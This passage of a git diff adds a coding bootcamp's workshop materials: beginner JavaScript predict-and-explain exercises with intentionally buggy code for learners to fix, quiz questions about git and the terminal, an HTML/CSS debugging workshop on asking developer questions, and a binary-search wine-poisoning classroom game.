stand-up/readme.md create mode 100644 technical-interviews/README.md create mode 100644 technical-writing-one/aortic.webp create mode 100644 technical-writing-one/readme.md create mode 100644 template/readme.md create mode 100644 terminal-skills/README.md create mode 100644 testing/fizzbuzz.js create mode 100644 testing/fizzbuzz.test.js create mode 100644 testing/package-lock.json create mode 100644 testing/package.json create mode 100644 testing/readme.md create mode 100644 time-string/readme.md create mode 100644 touch-typing/presentation.pdf create mode 100644 touch-typing/readme.md create mode 100644 triangles/readme.md create mode 100644 triangles/triangles.js create mode 100644 undefined/example1.js create mode 100644 undefined/example2.js create mode 100644 undefined/example3.js create mode 100644 undefined/example4.js create mode 100644 undefined/example5.js create mode 100644 undefined/readme.md create mode 100644 understanding-java/.gitignore create mode 100644 understanding-java/DnsResolver.java create mode 100644 understanding-java/README.md create mode 100644 user-needs-and-acceptance-criteria/README.md create mode 100644 wordle/readme.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..491cb194 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +node_modules +**/node_modules/ +.DS_Store +.hugo_build.lock +resources/ +build/ +dist/ diff --git a/.questions/questions-0/index.md b/.questions/questions-0/index.md new file mode 100644 index 00000000..aa40b0cb --- /dev/null +++ b/.questions/questions-0/index.md @@ -0,0 +1,6 @@ +Q: What is a javascript REPL? Can you name two ways to open one? + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-1/index.md b/.questions/questions-1/index.md new file mode 100644 index 00000000..a839b418 --- /dev/null +++ b/.questions/questions-1/index.md @@ -0,0 +1,6 @@ +Q: How do you write "Hello World" to the console? + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-10/0.md b/.questions/questions-10/0.md new file mode 100644 index 00000000..8661825d --- /dev/null +++ b/.questions/questions-10/0.md @@ -0,0 +1,6 @@ +Q: What is the difference between a fork and cloned repository? + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-10/index.md b/.questions/questions-10/index.md new file mode 100644 index 00000000..e69de29b diff --git a/.questions/questions-11/1.md b/.questions/questions-11/1.md new file mode 100644 index 00000000..55ec0a7d --- /dev/null +++ b/.questions/questions-11/1.md @@ -0,0 +1,6 @@ +Describe the purpose of a pull request. + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-12/3.md b/.questions/questions-12/3.md new file mode 100644 index 00000000..bc0764bc --- /dev/null +++ b/.questions/questions-12/3.md @@ -0,0 +1,4 @@ +Describe the difference between a commit and a push + + +{YOUR ANSWER HERE} \ No newline at end of file diff --git a/.questions/questions-13/6.md b/.questions/questions-13/6.md new file mode 100644 index 00000000..b37af603 --- /dev/null +++ b/.questions/questions-13/6.md @@ -0,0 +1,16 @@ +**Trickier** + +In VSCode, [open your terminal](https://code.visualstudio.com/docs/terminal/basics#_terminal-shells). + +In this exercise, you'll need to run each of the commands below in the terminal. +After running each command, describe what you think the commmand is doing ( it doesn't matter if you have/haven't used the commands before ) + +1. ls + +2. ls -a + +3. pwd + +4. git log + +You've seen the output for command 4. using other tools. Try and find some other places where you can see a similar output to the command for 4. Hint: Look on Github Desktop and github.com \ No newline at end of file diff --git a/.questions/questions-14/7.md b/.questions/questions-14/7.md new file mode 100644 index 00000000..e2f4e135 --- /dev/null +++ b/.questions/questions-14/7.md @@ -0,0 +1,98 @@ +**Very tricky** + + +2 people (Person A and Person B) are working on a project. +At the moment, the code for their project is hosted on Github. +The `main` branch of the repository on Github looks like this: + +```mermaid +--- +title: main branch on Github. Diagram 1 +--- +gitGraph + commit id:"edc123" + commit id:"ad127x" + commit id:"r5z89t" +``` + +Person A and B both clone the repo as it is in Diagram 1. + +Person B then commits locally and pushes their work Github. The repo on Github and Person B's machine now looks like this: + +```mermaid +--- +title: main branch on Github and Person B's local machine. Diagram 2 +--- +gitGraph + commit id:"edc123" + commit id:"ad127x" + commit id:"r5z89t" + commit id:"fg561s" type: HIGHLIGHT +``` + +Meanwhile, Person A commits on their local machine. Now on Person A's machine they have the following: + + +```mermaid +--- +title: PersonA's local machine. Diagram 3 +--- +gitGraph + commit id:"edc123" + commit id:"ad127x" + commit id:"r5z89t" + commit id:"zx5612" type: HIGHLIGHT +``` + +What happens now when Person A tries to push their work to Github using Github desktop? Look at the options below: + +a) + +The Github repo looks like this: + +```mermaid +--- +title: PersonA's local machine. Diagram 3 +--- +gitGraph + commit id:"edc123" + commit id:"ad127x" + commit id:"r5z89t" + commit id:"zx5612" type: HIGHLIGHT + commit id:"fg561s" type: HIGHLIGHT +``` + +b) + +The Github repo looks like this: + +```mermaid +--- +title: PersonA's local machine. Diagram 3 +--- +gitGraph + commit id:"edc123" + commit id:"ad127x" + commit id:"r5z89t" + commit id:"fg561s" type: HIGHLIGHT + commit id:"zx5612" type: HIGHLIGHT +``` + +c) + +The Github repo looks like this: + +```mermaid +--- +title: PersonA's local machine. Diagram 3 +--- +gitGraph + commit id:"edc123" + commit id:"ad127x" + commit id:"r5z89t" + commit id:"zx5612" type: HIGHLIGHT +``` + +d) We get an error. + +The most important thing in this question is to try and describe your reasoning/thought process out loud. \ No newline at end of file diff --git a/.questions/questions-15/4.md b/.questions/questions-15/4.md new file mode 100644 index 00000000..9b753a92 --- /dev/null +++ b/.questions/questions-15/4.md @@ -0,0 +1,4 @@ +When you clone a repository off Github, it is connected to a remote repository on Github. +How can you check which remote repository your local repo is connected to on Github? + +Hint: Try researching to see if you can find a terminal command online \ No newline at end of file diff --git a/.questions/questions-16/5.md b/.questions/questions-16/5.md new file mode 100644 index 00000000..cfbf42f3 --- /dev/null +++ b/.questions/questions-16/5.md @@ -0,0 +1,6 @@ +Imagine you're speaking to a trainee who is starting at Code Your Future for the first time. +They ask the following question: + +"What is the difference between github.com and Github desktop?" + +How would you answer this question in order to help the new trainee? \ No newline at end of file diff --git a/.questions/questions-17/2.md b/.questions/questions-17/2.md new file mode 100644 index 00000000..0b902c54 --- /dev/null +++ b/.questions/questions-17/2.md @@ -0,0 +1,9 @@ +When using Github desktop, somebody sees the following error: +"error: failed to push some refs to https://github.com/CodeYourFuture/HTML-CSS-Coursework-Week1"  + +Try and think of 1 reason why you might be seeing this error + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-2/index.md b/.questions/questions-2/index.md new file mode 100644 index 00000000..19e9d524 --- /dev/null +++ b/.questions/questions-2/index.md @@ -0,0 +1,10 @@ +Q: Without running the actual code, what do you think this program does? + +```js +console.log(2 * 4 + 10 / 5); +``` + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-3/index.md b/.questions/questions-3/index.md new file mode 100644 index 00000000..780c7db8 --- /dev/null +++ b/.questions/questions-3/index.md @@ -0,0 +1,6 @@ +Q: What is the difference between `let` and `const`? + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-4/index.md b/.questions/questions-4/index.md new file mode 100644 index 00000000..d42dfa4e --- /dev/null +++ b/.questions/questions-4/index.md @@ -0,0 +1,6 @@ +Q: What is the difference between defining and calling a function?? + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-5/index.md b/.questions/questions-5/index.md new file mode 100644 index 00000000..f114da4f --- /dev/null +++ b/.questions/questions-5/index.md @@ -0,0 +1,6 @@ +Q: What is the difference between an expression and a statement? + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/.questions/questions-6/index.md b/.questions/questions-6/index.md new file mode 100644 index 00000000..a92ad790 --- /dev/null +++ b/.questions/questions-6/index.md @@ -0,0 +1,26 @@ +# Code comprehension + +Remember to **preview a markdown file** on your computer you can do: +Ctr + Shift + V (Windows/Linux) or CMD + Shift + V (Mac) + +Consider the code in this program below: + +```js +function calculateSum(a, b) { + return a + b; +} + +function logSum(a, b) { + console.log(a + b); +} + +const result1 = calculateSum(10, 32); +const result2 = logSum(10, 32); +``` + +a) what will `result1` evaluate to? Explain your answer +b) What will `result2` evaluate to? Explain your answer +c) Try to summarise the main difference between `logSum` and `calculateSum` + + +{YOUR ANSWERS HERE} \ No newline at end of file diff --git a/.questions/questions-7/7.js b/.questions/questions-7/7.js new file mode 100644 index 00000000..a6c41ab7 --- /dev/null +++ b/.questions/questions-7/7.js @@ -0,0 +1,5 @@ +// IMPORTANT: Please read 7.md first! +// Remember to write your prediction first, before you run this file + +const currentYear = 2023; +currentYear(); \ No newline at end of file diff --git a/.questions/questions-7/7.json b/.questions/questions-7/7.json new file mode 100644 index 00000000..0b767e10 --- /dev/null +++ b/.questions/questions-7/7.json @@ -0,0 +1,4 @@ +{ + "question_type" : ["predict_observe_explain"], + "topics" : ["errors","functions","call sites","Type Error: x is not a function",""] +} \ No newline at end of file diff --git a/.questions/questions-7/index.md b/.questions/questions-7/index.md new file mode 100644 index 00000000..138e2ec6 --- /dev/null +++ b/.questions/questions-7/index.md @@ -0,0 +1,10 @@ +# Predict => Run => Observe => Explain + +Remember to **preview a markdown file** on your computer you can do: +Ctr + Shift + V (Windows/Linux) or CMD + Shift + V (Mac) + +In this task, you'll need to look at some code in `7.js` and, firstly, predict what it will do, **without executing it**. + +{YOUR PREDICTION HERE} + +Afterwards, you can execute the code in `7.js` to check your answer 📝 diff --git a/.questions/questions-8/8.js b/.questions/questions-8/8.js new file mode 100644 index 00000000..f22d5898 --- /dev/null +++ b/.questions/questions-8/8.js @@ -0,0 +1,9 @@ +// IMPORTANT: Read 0.md first before using this file! + + +let count = 0; + +while(count < 10) { + count++; + console.log('*'.repeat(count)) +} \ No newline at end of file diff --git a/.questions/questions-8/index.md b/.questions/questions-8/index.md new file mode 100644 index 00000000..a80814fa --- /dev/null +++ b/.questions/questions-8/index.md @@ -0,0 +1,16 @@ +## Predict -> Run -> Observe -> Explain + +In this task, you'll need to look at some code and predict what it does, **before running the program** +This task will help you to develop your code reading skills. + + +Look at the code in `0.js`: read it carefully and discuss it with your pair. +What do you think the output will look like? +If some parts of the code are unfamiliar, then look them up on MDN. +Write your prediction below: + +{YOUR PREDICTION HERE} + +Once you've written your prediction, then commit your work. Now actually run `0.js` using node and write your answer below: + +{ACTUAL OBSERVED BEHAVIOUR} \ No newline at end of file diff --git a/.questions/questions-9/9.js b/.questions/questions-9/9.js new file mode 100644 index 00000000..7c96309b --- /dev/null +++ b/.questions/questions-9/9.js @@ -0,0 +1,12 @@ + + +function countAlphabetChars(str) { + + const count = 0; + + while(count < ) { + if (str[i] === '@') { + + } + } +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 00000000..8fcf5614 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,12 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Launch Program", + "skipFiles": ["/**"], + "program": "${file}" + } + ] +} diff --git a/arrays/0.js b/arrays/0.js new file mode 100644 index 00000000..060d9d9c --- /dev/null +++ b/arrays/0.js @@ -0,0 +1,14 @@ +// Predict and explain... +// Try predicting and explaining what will get logged to the console when the code runs +// To check your prediction, play computer using the Python Visualiser: https://pythontutor.com/render.html#mode=display + + +const ingredients = ["olive oil","tomatoes",'garlic','onion', 'carrot']; +let ingredientsCopy = ingredients; +ingredientsCopy.push('pasta','salt','pepper'); +const otherRecipe = ["olive oil","tomatoes",'garlic','onion', 'carrot','pasta','salt','pepper']; + +console.log(ingredients === ingredientsCopy); +console.log(ingredients === otherRecipe); +console.log(otherRecipe === ingredientsCopy); +console.log(otherRecipe.length === ingredients.length); \ No newline at end of file diff --git a/arrays/100.js b/arrays/100.js new file mode 100644 index 00000000..cdf2567d --- /dev/null +++ b/arrays/100.js @@ -0,0 +1,10 @@ +// Predict and explain... +// What will nums.length evalute to after running the code here +// Check your prediction and explanation by running the code. Use mdn documentation for mdn to help you make your prediction +// + +const cities = ["Manchester", "London","Birmingham","Cape Town","Glasgow"]; +const result = cities.push("Liverpool","Sheffield"); + +console.log(`The result is ${result}`); +console.log("cities now looks like this: ",cities); \ No newline at end of file diff --git a/arrays/200.js b/arrays/200.js new file mode 100644 index 00000000..134e8563 --- /dev/null +++ b/arrays/200.js @@ -0,0 +1,9 @@ +// Predict and explain... +// What will nums.length evalute to after running the code here +// Check your prediction and explanation by running the code + +const nums = [10,3,5,6,]; + +nums[6] = 50; + +console.log(nums.length); diff --git a/arrays/300.js b/arrays/300.js new file mode 100644 index 00000000..da825e08 --- /dev/null +++ b/arrays/300.js @@ -0,0 +1,19 @@ +// the head of an array is the first element of an array +// the tail of an array is the last element of an array + + +const alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; + +function getHead(arr) { + return arr.shift(); +}; + +function getTail(arr) { + return arr.pop(); +}; + +console.log(`The first letter of the alphabet is ${getHead(alphabet)}`); +console.log(`The last letter of the alphabet is ${getTail(alphabet)}`); +console.log(alphabet.length); +// Explain why alphabet length is now 24 +// How could we change the functions we defined to return the same values, but not change the length of alphabet? diff --git a/arrays/600.test.js b/arrays/600.test.js new file mode 100644 index 00000000..4714a498 --- /dev/null +++ b/arrays/600.test.js @@ -0,0 +1,26 @@ + + +// list is an array that holds a mix of data types +// we need to collect just the numbers and not the strings +// before runnning the tests, make a prediction and explanation about what you expect the function to return +// fix anything that doesn't work + +function collectNumbers(list) { + + const numbersOnly = []; + for (const item of list) { + if (item === 'string') { + numbersOnly.push(item); + } + } + return numbersOnly; +} + +test('only collects numbers in the array',() => { + const currentOutput = collectNumbers([10.1,"hello",6.1,8.0, 9.7, 10.1,"hi", 3.5,"oops"]); + const targetOutput = [10.1,6.1,8.0, 9.7, 10.1, 3.5,]; + + expect(currentOutput).toEqual(targetOutput); +}); + + diff --git a/arrays/700.test.js b/arrays/700.test.js new file mode 100644 index 00000000..049e9baa --- /dev/null +++ b/arrays/700.test.js @@ -0,0 +1,17 @@ +// Predict and explain... +// Below is a function countWords and a test that checks that it counts the words in a string correctly +// At the moment, it isn't working. Try to reason about what happens when the function is called. +// Check your prediction and explanation using the tests +// Fix anything that doesn't work + +function countWords(text) { + return text.split('').length; +} + + +test('should count the words in a string of text', () => { + + const text = "Here is a plain sentence with some information! Try to find the word count"; + expect(countWords(text)).toBe(14); + +}); \ No newline at end of file diff --git a/arrays/800.js b/arrays/800.js new file mode 100644 index 00000000..40472abd --- /dev/null +++ b/arrays/800.js @@ -0,0 +1,21 @@ +// Predict and explain... +// We've seen for..of loops used for arrays. +// Below we try to use it with a variable which isn't an array. +// What do you think will get logged? +// Don't run the code until you've predicted and explained the whole file. +// Then check your prediction and explanation by running the code + +const sentence = "I really enjoy ice cream"; + +for (const part of sentence) { + console.log(part); +} + +// What's the difference between what was written above, and what's below? +// How will they behave differently? + +const parts = sentence.split(" "); + +for (const part of parts) { + console.log(part); +} diff --git a/arrays/900.js b/arrays/900.js new file mode 100644 index 00000000..de9c9826 --- /dev/null +++ b/arrays/900.js @@ -0,0 +1,37 @@ +// Below, we have two functions which have the same aim. +// Both functions take a word as a parameter. +// If the function has been called with that word before (regardless of case), the previous version of the word is returned. +// So if you called the function with "hello", then "HELLO", the second call will return "hello". +// If the word has not been used before, it will just be returned as-is. + +// One of these functions has side-effects. +// When you call it, it does something other than just returning a value based only on its parameters. +// +// The other doesn't have side effects. +// When you call it with the same arguments, it always does exactly the same thing, +// and you can see everything it does in its return value. +// +// Which function has side-effects? Which doesn't? +// Try to write tests for both functions. +// Which was easier to test? What issues did you run into writing tests? + +const previousWords = []; + +function getPreviousCaseOfWordOne(word) { + for (const previousWord of previousWords) { + if (previousWord.toLowerCase() === word.toLowerCase()) { + return previousWord; + } + } + previousWords.push(word); + return word; +} + +function getPreviousCaseOfWordTwo(word, words) { + for (const previousWord of words) { + if (previousWord.toLowerCase() === word.toLowerCase()) { + return previousWord; + } + } + return word; +} diff --git a/arrays/readme.md b/arrays/readme.md new file mode 100644 index 00000000..478cd46a --- /dev/null +++ b/arrays/readme.md @@ -0,0 +1,22 @@ +## Instructions + +This workshop aims to _check your understanding_. + +Each task will explain whether or not you should run the code. + +For each task, you can use [Data Groups Sprint 1 prep](https://programming.codeyourfuture.io/data-groups/sprints/1/prep/) +to help you with the questions. +You can also use documentation to look up any functions that are unfamiliar. +Don't use ChatGPT or any other AI tool to help you. + +## 🧰 Setup + +1. Get into pairs or groups of up to three. +2. Make sure you have [a clone of the CYF-Workshops](https://github.com/CodeYourFuture/CYF-Workshops) repository on your local machine + +This workshop can be found here 👉 https://github.com/CodeYourFuture/CYF-Workshops/tree/main/arrays +In this workshop, each file contains a different problem at a particular level. + +You should start this project at **Level 100** and then move through the levels in ascending order, **level 200**, **300** etc. + +➡️ [Go to Level 100](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/arrays/100.js) diff --git a/asking-questions/index.html b/asking-questions/index.html new file mode 100644 index 00000000..d307abb9 --- /dev/null +++ b/asking-questions/index.html @@ -0,0 +1,113 @@ + + + + + + Asking questions + + + + + +
+

🧐 Asking questions

+

+ This workshop is on how to ask developer questions as part of problem + solving +

+
+
+

🧪 The scientific method

+
    +
  1. Make a prediction
  2. +
  3. Test your prediction
  4. +
  5. Update your model
  6. +
+

🎩 Our formal language

+
    +
  1. What I did
  2. +
  3. What I expected
  4. +
  5. What actually happened
  6. +
+ +

+ 🤦🏽‍♀️🤦🏿‍♂️🤦🏻 Important: These problems are not meant to trick you or upset you +

+ +

+ ...But they may feel frustrating at first! You are not expected to know + the answers to all these problems. That's why we chose them. They were + chosen so that everyone can have (at least one, hopefully more) question + you don't know the answer to. + This workshop is on how to ask developer questions as part of problem + solving. +

+

+ The questions stored in the bank are all common blockers. These all + expose common, wrong, mental models of HTML and CSS. These are + simplified versions of problems that CYF trainees get stuck on for hours + (or days) in coursework. Instead of getting frustrated and stuck on your + own, let's encounter these collectively and use these blockers + to develop our skills in: +

+
    +
  • Breaking down problems
  • +
  • Describing problems to others clearly
  • +
  • Using a systematic method of inquiry
  • +
+

+ Instead of flailing about, randomly trying stuff, attempting to memorise + the internet, watching zillions of unrelated tutorials, getting + frustrated and quitting coding...or any of the other totally normal, + human responses we naturally have to being confounded. +

+
+

Problem Bank

+

Use Devtools and look at the code to help you.

+
    +
  • +

    + If you delete all the CSS from the styles.css in the Sources + panel, what styles will be applied to this page? +

    +
  • +
  • +

    + This text has the ruleset + ul li.problem:nth-child(2) p { color: red; } + + Why isn't this paragraph red? +

    +
  • +
  • +

    What colour is this text?

    +
  • +
  • +

    There's a transition on this text. Why isn't it working?

    +
  • +
  • +

    Why isn't this paragraph a grid item?

    +
  • +
  • +

    + Before running Lighthouse, write down the errors it will give you + on this page. Now + validate the HTML. +

    +
  • +
  • +

    This text is 100% width. 100% of what?

    +
  • +
  • +

    + If you add the rule !important to line 8 of + styles.css, what colour will this text be? Why? +

    +
  • +
+
+
+ + diff --git a/asking-questions/readme.md b/asking-questions/readme.md new file mode 100644 index 00000000..d875b9a4 --- /dev/null +++ b/asking-questions/readme.md @@ -0,0 +1,129 @@ +# Asking Questions 101 + +## Prep + +- [ ] Read this article about [Mental Models](https://jamesclear.com/mental-models) +- [ ] Load this webpage, which stores the problems we will work on today. [https://cyf-workshop.netlify.app/asking-questions](https://cyf-workshop.netlify.app/asking-questions) + +Today we're going to start learning a formal language of developer questions. We will begin with this basic format: + +1. What I _did_ +1. What I _expected_ +1. What actually _happened_ + +This format helps to find the discrepancies between expectations and reality. (This is the gap in our understanding.) + +It's also an efficient way to share our current understanding with others. + +## Expectation vs reality + +When we are surprised by an outcome it usually means we had a mental model of the world that didn't predict the world accurately. Don't panic when this happens, it's completely expected for even experienced developers to run into surprises. We use these gaps as signs that we need to _update_ our mental models. + +To develop our understanding of coding, we will: + +### Predict & Explain + +1. Make a _prediction_ by _explaining_ what the outcome will be +1. Play computer - "run" the model in our heads and _predict_ (say before) what the outcome will be + +### Try + +1. Code up our idea +1. Run the code + +### Compare and Update + +1. Compare the outcome with our prediction +1. Explain the gap between our prediction and what actually happened +1. Update our understanding + +This process is cyclical. + +```mermaid +graph LR +A[Predict] +B[Explain] +C[Try] +D[Compare] +E[Update] +A --> B +B --> C +C --> D +D --> E +E --> A +``` + +## Updating the _right_ model + +If you are stuck and can't explain the gap in your mental model, then it's time to ask a question! + +When we ask questions, it's important that we share our current mental model as part of your question so that other people can test the right thing, focus on the mis-understanding. Then together you can get quickly to a shared understanding of your specific problem. + +Let's look at how asking questions helps you update your mental model with an example. + + + +1. Set a [timer for 5 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Popcorn around the room and each person give an example of a bad way to ask a question until the timer goes off. For example: + +> Argh I can't make it work please help me! + + + +### Why are these not useful? + + + +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Popcorn around the room and each person give a reason that one of the previous questions was bad until the timer goes off. For example: + +> What is _it_? What are you trying to do? In what way is it not working? Be specific! Share what you see. Do you have a link? What do you want it to do? + + + +### Exercise ground rules + +Before we get to the next exercise, let's just set some ground rules here: + +1. The goal is not to complete the exercise; the goal is to _learn_ +1. The smart thing to do is to focus on the questions you cannot (yet) answer + + + +Split into groups of 2-5 people. +Set a whole class timer for [30 minutes](https://www.google.com/search?q=timer+for+30+minutes). + +### Confound yourselves + +- Pick a problem from the [bank](https://cyf-workshop.netlify.app/asking-questions#problem-bank). +- As a group, make a prediction about what you think the answer is, and write it down. +- Test your prediction. Try it out using the dev tools. +- Compare your prediction with the outcome. + +What happened? Is there a gap in your understanding? + +Keep doing this until you find a problem you can't solve, then write up your mental model using this format: + +1. What I _did_ +1. What I _expected_. Make sure you include your prediction here +1. What actually _happened_ + +Include as much context as you can, including links, line numbers, sample code, etc. Use code blocks to mark up your code. If you use screenshots, they should only show the _visual render_ (**never** screenshot code - paste code as text). + +Now post your write up of the question in [#cyf-ask-tech-stuff](https://codeyourfuture.slack.com/archives/C59R2722F). + + + +### 🧑🏾‍💻🙋 Developer questions contain + +1. 🔗 Links 👍 +1. Objectives - what are you actually trying to do? 👍 +1. 🖼️ Screenshots of UI 👍 +1. 📝 `Code blocks` 👍 +1. 📷 ~~Screenshots of code~~ 🙅 + +## 📚 Further reading + +- [How to ask](https://stackoverflow.com/help/how-to-ask) +- [The programming duck](https://rubberduckdebugging.com/) +- [Asking Questions](https://curriculum.codeyourfuture.io/guides/asking-questions/) diff --git a/asking-questions/styles.css b/asking-questions/styles.css new file mode 100644 index 00000000..4959f39d --- /dev/null +++ b/asking-questions/styles.css @@ -0,0 +1,102 @@ +/* =========================== +WORKSHOP STARTS HERE LOOK HERE HI +Here are all the rules we are +looking at in this workshop +=========================== */ +/* What would happen if you added !important to this color:red */ +#important { + color: red; +} +#important p { + color: var(--ink); +} +main ul { + display: grid; +} +#hundred { + width: 100%; +} +#infinite { + color: var(--ink); +} +.problems li.problem:nth-child(2) { + color: red; +} +#boolean { + min-height: 1.5em; +} +#boolean p { + opacity: 1; + transition: opacity 0.3s; + display: block; +} +#boolean:hover p, +#boolean:focus p { + display: none; + opacity: 0; +} +#fallback { + color: var(--black); +} + +/* Here's our design +It's fonts, colours, and spacing. +Every design is made of these basic building blocks. + */ +:root { + /* fonts */ + --copy: "Lato", system-ui; + /* colours */ + --paper: hsla(260, 35%, 90%, 0.95); + --ink: hsla(270, 8%, 20%, 0.98); + --brand: hsla(0, 100%, 67%, 0.98); + /* spacing */ + --space: 1rem; + --container: clamp(240px, calc(100vw - calc(var(--space) * 2)), 74rem); + --finger: 48px; + --line-length: 60ch; +} +/* Rules for interactive elements like links and buttons. */ +a, +a:any-link { + color: currentColor; + text-decoration: none; + font-weight: bold; + transition: all 0.3s; +} +:focus { + outline: none; +} +a:hover, +a:focus { + color: var(--brand); +} +a:focus { + outline: 2px dashed var(--brand); +} +/* LAYOUT +Set up the body rules: fonts, colours, and spacing. +Everything inside the body will inherit these basic styles +*/ +body { + font: 100%/1.5 var(--copy), system-ui, sans-serif; + background-color: var(--paper); + color: var(--ink); + padding: var(--space); +} +/* Now the components, which in this case are just html elements */ +header { + max-width: var(--container); + margin: auto; +} +main { + max-width: var(--container); + margin: auto; +} +summary > * { + display: inline-block; +} +main p, +main li { + max-width: var(--line-length); +} diff --git a/bits-and-rats/readme.md b/bits-and-rats/readme.md new file mode 100644 index 00000000..3e180ed7 --- /dev/null +++ b/bits-and-rats/readme.md @@ -0,0 +1,135 @@ +# 🧪 The Poisoned Wine Puzzle Workshop + +## Prerequisites + +To get the most out of this workshop, you should have done the [Logic prep from the SDC](https://sdc.codeyourfuture.io/logic/), and worked through the 1000 wine bottle problem already. If you haven't done that course, this game will be a bit bewildering, so you might want to watch this video together first: + + + +## 🎯 Learning Objectives + +```objectives +- [ ] Transform physical locations to binary patterns +``` + +## 🎭 The Story + +{{}} +**The King** has stocked his wine cellar with one thousand bottles of wine for his birthday party tomorrow. However, the King's evil brother, the Duke, has poisoned one of the bottles! The poison is lethal and will kill anyone who takes even one sip within one hour. You, the Butler, must find the poisoned bottle and save the party! But how? +{{}} + +## 🎩 The Players + +- 🤵🏻 **Butlers**: The players who will be planning the tests. +- 🍾 **Bottles**: The players who will be tested. +- 🐀 **Rats**: The players who will be testing the bottles. + +## 🎮 Setup + +> [!TIP] +> How you play this game depends on how many people you have. If you have fewer than 12 people go to [Small Group Workshop](#small-group-version). If you have 12+ people, read on. + +You will need: + +- paper or sticky notes +- pens +- a space large enough to stand in formation + +Before you begin. **Facilitator**, make up a stack of pieces of paper with either 1 or 0 written on. You're going to hand each bottle player 8 pieces of paper. For 8 bottle players, you're going to need: + +- 7 x 8 pieces with 1 +- 1 x 8 pieces with 0 + +The "zeroes" bottle is the poisoned bottle. You must choose one player to give the zeroes stack to. It's important that no players know which bottle is poisoned. Fold the paper over so nobody can see whose stack has the zeroes. + +Now assign the roles randomly and hand the bottle players their pieces of paper. + +### 🌱 Round 1: "The Simple Search" (4 Bottles) + +Four people will be bottles. Two people will be rats. Everybody else will be the butlers and come up with a testing strategy. This is your training round. Take your time to understand the game. Success is finding the poisoned bottle. + +Four (4) 🍾 **Bottles**, stand in any order the **🤵🏻 Butler** asks. + +Two (2) 🐀 **Rats**, follow the directions of your **🤵🏻 Butler/s**. For each round of testing you must go to the bottle or bottles directed and ask for a piece of paper. + +🍾 **Bottles**, when a 🐀 **Rat** comes to you, hand them one of your slips of paper. Don't peek! + +🐀 **Rats**: 🔀 Shuffle your papers if you get more than one, please! + +_When the **🤵🏻 Butler** yells 🧪 TEST..._ + +🐀 **Rats** open all your paper slips. If you have a `0` on _any_ of your slips, please die as dramatically as you can manage. If the butlers run another round of testing, dead rats can't be used. + +**🤵🏻 Butler**, when you are ready to guess the poisoned 🍾 **Bottle**, go to the 🍾 **Bottle** and ask for their slip. + +#### Victory condition: + +If the paper has a `0` you have won the game! Move to Round 2. +If the paper has a `1` you have lost, alas! Switch roles and play another round with just 4 bottles. + +### 🌿 Round 2: "Resource Management" (8 Bottles) + +- Eight (8) **🍾 Bottles**, stand in any order the **🤵🏻 Butlers** ask and get ready to hand out your slips. +- Three (3) **🐀 Rats**, get ready to do your most elaborate death, please! + +As before, for each round of testing, rats must go to the bottle or bottles directed and ask for a piece of paper. 🔀 Shuffle your papers if you get more than one, please! + +_When the **🤵🏻 Butler** yells 🧪 TEST..._ + +🐀 **Rats** open all your paper slips. If you have a `0` on _any_ of your slips, please die as dramatically as you can manage. + +**🤵🏻 Butler**, when you are ready to guess the poisoned 🍾 **Bottle**, go to the 🍾 **Bottle** and ask for their slip. + +#### Victory condition: + +If the paper has a `0` you have won the game! Move to Round 3. +If the paper has a `1` you have lost, alas! Switch roles and play another round. + +### 🌳 Round 3: "The Time Crunch" (16 Bottles) + +You may have to switch to the [small group version](#small-group-version) at this point. + +The final challenge! Lots of bottles, few rats, and only one chance to test. You have 16 bottles, 4 rats, and 1 test. Good luck! + +
+ + +## 🐁 Small Group Version + + + +If you have fewer than 12 people, you can still play this game! Nobody will play bottles; everyone will play rats and butlers. Lay the stacks of papers out in a grid. You might want to number the stacks to make it easier to track. + +Rats will come up and take a piece of paper from the grid. Just as in the original game, when the butler yells TEST, the rats will open their papers. If they have a `0` they die. If they have a `1` they live. The butler must guess which stack paper has the `0` on it. + +
+ +
+ + +## 🌟 Pro Tips for Facilitators + + + +1. As nobody knows who is the poisoned bottle, the bottles and rats are free to help the butler with their strategy if you choose. +1. Physical movement helps learning! Encourage people to ham it up and act out their roles. +1. Use clear commands: + + ``` + "Bottles being tested by Rat 1..." + "RAISE HANDS!" + "Lock it in!" + ``` + +1. Between rounds, ask: + - What worked? + - What was tricky? + - What patterns did you spot? +1. Success looks like... + +- Players getting faster each round +- "Aha!" moments when binary patterns click +- Excited discussion about testing strategies +- Clear explanations of why solutions work + +
diff --git a/breakdown/index.html b/breakdown/index.html new file mode 100644 index 00000000..6fd2aa90 --- /dev/null +++ b/breakdown/index.html @@ -0,0 +1,46 @@ + + + + + CYF Random Product Factory + + + +

CYF Random Product Factory

+
+ +
